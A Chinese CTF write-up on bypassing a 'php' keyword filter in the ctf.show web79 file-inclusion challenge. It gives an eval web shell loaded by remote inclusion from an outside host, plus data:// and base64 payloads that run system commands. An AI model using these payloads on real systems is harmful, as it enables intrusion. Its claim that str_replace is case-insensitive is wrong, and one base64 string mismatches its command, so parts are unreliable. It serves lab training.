在上一篇文章,我们尝试 5 种协议来实现文件包含。但在 web79 中,代码使用 str_replace
函数将字符串中的 php
替换成 ???
,所以我们要尽可能的避免使用关键字 php
。
方法同 。
在上一篇文章中,使用的链接为 https://blog-1256032382.cos.ap-nanjing.myqcloud.com/eval.php
,在链接的尾部含有 php 关键字,无法直接使用。
eval
文件。<?php @eval($_GET[code]);echo PHP_DATADIR;?>
https://blog-1256032382.cos.ap-nanjing.myqcloud.com/eval
。view-source:http://0a64af68-10fc-462f-b88e-44dc7e1f000d.challenge.ctf.show:8080/?file=https://blog-1256032382.cos.ap-nanjing.myqcloud.com/eval&code=system('cat flag.php');
即可获得 flag。该协议必须使用 php 开头,题目又过滤了 php 关键字,所以无法使用。
将 中的 php
改成 PHP
即可。
同 file://
协议
这里有 2 种关键的思路。一是利用特殊的 PHP 语言标记,二是利用编码绕过。
常见的 PHP 语言标记有如下几种:
<?php phpinfo() ?>
:如果只含有 PHP 代码, ?>
不允许存在。?>
隐含一个 ;
,所以最后一句可以不用分号。<script language=“php”>phpinfo()<script>
。<? ?>
:需要修改 PHP 的 short_open_tag
配置<% %>
:默认禁用。<?=$variablename ?>
:默认可用。<%=$variablename %>
:默认禁用。这里需要可以利用 <? ?>
这个语言标记。访问 http://0a64af68-10fc-462f-b88e-44dc7e1f000d.challenge.ctf.show:8080/?file=data:text/plain,<?=system('tac *')?>
即可获得 flag。
<?php system('tac *');
进行 base64 编码,得到字符串PD9waHAgc3lzdGVtKG5sIGZsYWcucGhwKTs=
http://6a01dd29-9ab6-43c0-abff-c81cfdb70225.challenge.ctf.show:8080/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKicpOw==
即可获得 flag。Note:有时候 flag 在源码中,多查看源码。
我在思考第 5 步的时候,想到了可能可以利用大小写来进行绕过。通过查询官方文档,发现 str_replace 对大小写不敏感。
当 PHP
这个关键词可用之后,那么 的所有方法都可以使用,只需要将小写的 php
替换成大写的 PHP
。
因篇幅问题不能全部显示,请点此查看更多更全内容